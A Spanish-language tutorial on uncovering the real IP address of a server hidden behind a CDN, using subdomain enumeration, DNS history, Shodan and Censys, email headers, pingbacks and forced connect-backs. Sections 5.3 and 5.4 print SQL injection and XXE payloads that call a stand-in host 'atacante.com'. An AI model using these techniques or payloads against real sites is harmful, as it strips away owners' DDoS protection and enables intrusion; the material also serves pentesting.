En este artículo vamos a ver cómo traspasar la capa de protección de un CDN sobre un servidor web. Para el que desconozca qué es un CDN, se trata de un servicio basado en un reverse proxy que actúa de intermediario entre la comunicación de los visitantes de una web y el servidor de esta. Algunos de los mas conocidos son Cloudflare, Incapsula, etc…

Cuando un usuario hace una petición hacia una web, esta va hacia el CDN y es este el que interactúa con el servidor y devuelve la respuesta al usuario. De esta forma, el CDN es el único que conecta directamente con el servidor.

La mayoría de usuarios lo usan con el objetivo de blindar sus servidores contra ataques DDoS, ya que recibe todo el tráfico y bloquea este tipo de peticiones sin que lleguen finalmente al servidor. También cabe destacar que el CDN solo funciona con puertos para comunicaciones http y https, entonces, si en nuestro servidor tenemos cualquier otro servicio como un ssh, ftp, etc… quedará ofuscado detrás de este, y para que un atacante acceda a él, necesitará conocer la IP.

1. Subdominios

Utilizando herramientas online como Dnsdumpster o similares, podemos obtener una lista de los subdominios indexados. Revisándolos encontraremos dos formas posibles de dar con la IP. La primera es buscando los que apunten a servicios que el CDN no acepta, pues si alguno de estos esta en la misma máquina daremos con ella. Ejemplo:
ftp.sitio.com
smtp.sitio.com
dns.sitio.com

Otra forma es revisando la IP a la que apuntan los diferentes subdominios que encontremos del sitio. A veces, por una mala configuración, se queda alguno apuntando a la IP real del servidor en vez de al CDN.

Subdominios no indexados

Si queremos encontrar más subdominios, necesitamos utilizar una herramienta que trabaje por fuerza bruta, la cual suele ser muy útil puesto que muchas veces existen subdominios “privados” con nombres no comunes, y estos no están indexados en motores de búsqueda. Para este tipo de búsqueda recomiendo usar herramientas como nuestro Fast Subdomain Scanner.

Una vez tengamos esos subdominios volveremos a analizar las IP a las que apuntan.

subdomain scanner

2. Historial DNS

Muchas veces después de comenzar a usar el CDN, los servidores siguen estando en la misma dirección IP que antes, y si usamos alguna herramienta online para sacar el histórico de los cambios de DNS del dominio, obtendremos dicha IP. Para ello, podemos usar herramientas como Dnstrails, Viewdns, etc…

3. Herramientas IOT

Hoy en día existen una serie de herramientas online denomiadas IOT Scanners, que escanean continuamente internet y guardan todo tipo de información de las máquinas a las que llegan como puertos, servicios, geolocalización, etc. Entre tanta información tambien guarda datos relacionados a los certificados, y es por aquí donde nos va ayudar a encontrar las máquinas que estan detras de la protección del CDN.

3.1 Shodan

Con Shodan podemos utilizar el filtro ssl que nos ofrece para buscar strings en los certificados que tiene almacenados de direcciones IP escaneadas. Cabe destacar que necesitaremos tener una cuenta gratuita para poder aplicar búsquedas con dicho filtro.

shodan

3.2 Censys

Al igual que Shodan, Censys guarda información relacionada de los certificados en los servidores que escanea. A diferencia de Shodan, podemos realizar un mínimo de búsquedas diarias sin necesidad de registrarnos. También cabe destacar que tiene una sección de histórico donde almacena resultados del pasado.

3.3 Zoom Eye

Zoom Eye es otra alternativa, muy parecida a Shodan, en la cual podemos hacer búsquedas con filtros sin tener que estar registrados. Además, nos da la posibilidad de usar su API con una cuenta gratuita y con muchas menos limitaciones que la de Shodan. Como desventaja a Shodan, cabe destacar que la base de datos es más reducida.

4. Cabeceras emails

Si buscamos en la web alguna opción desde la cual podamos recibir de ella un e-mail, por ejemplo una newsletter, una verificación de registro de cuenta, etc… lo mas probable es que el servidor de correo y la aplicación web sean la misma máquina. Entonces, si miramos las cabeceras del e-mail que recibimos encontraremos la IP del servidor.

5. Buscando la conexion inversa

5.1 WordPress Pingback

Si el servidor contiene algún WordPress y tiene el pingback activado podremos simular uno desde un blog nuestro y de esta forma obtener la IP.

5.2 Avatares externos

La mayoría de foros y algunos CMS suelen tener habilitada por defecto la opción de que puedas agregar un avatar desde una fuente externa proporcionando una URL. Pues esto nos lo pone muy fácil, ya que revisando el access log, o haciendo algún script que guarde la IP de la petición, conseguiremos la IP del servidor.

5.3 SQLi

Este no es un método muy común, pero si los astros se alinearan y se encontrara una inyección SQL, el usuario de la base de datos tendría privilegios para ejecutar comandos, entones podremos lanzar una petición hacia un servidor nuestro y así obtener la IP real.

Ejemplo en MsSQL:
EXEC master.dbo.xp_cmdshell ‘ping -t 1 X.X.X.X’

Ejemplo en MySQL:
SELECT * FROM table WHERE id=9 INTO DUMPFILE ‘/dev/tcp/atacante.com/80’ — –

5.4 XXE

Los XXE o inyecciones XML son algunas de las más olvidadas por los developers a la hora de blindar aplicaciones, muchas veces también por algunos pentester a la hora de auditar. Si encontramos esta vulnerabilidad en alguna parte de la aplicación, tan solo bastará con hacer una petición a nuestra máquina inyectando un ping en el XML de la siguiente manera:

<!ENTITY ping SYSTEM “http://atacante.com/save_request.php”>

5.5 Herramientas de la propia web

Hoy en día existen muchas funcionalidades en diferentes webs desde las cuales podemos hacer una conexión inversa para sacar la IP real. Tan solo hay que echarle cabeza y buscar un poco.

Por ejemplo: en una web de SEO podríamos usar sus herramientas de análisis de sitemap para que conecten a nuestro sitio, y así obtener la IP. En un hosting de imágenes, podemos usar la opción de cargar archivos desde la URL (como en el caso de los avatares), etc… todo es cuestión de echarle un poco de ingenio y buscar la manera de que nos llegue la conexión.[:]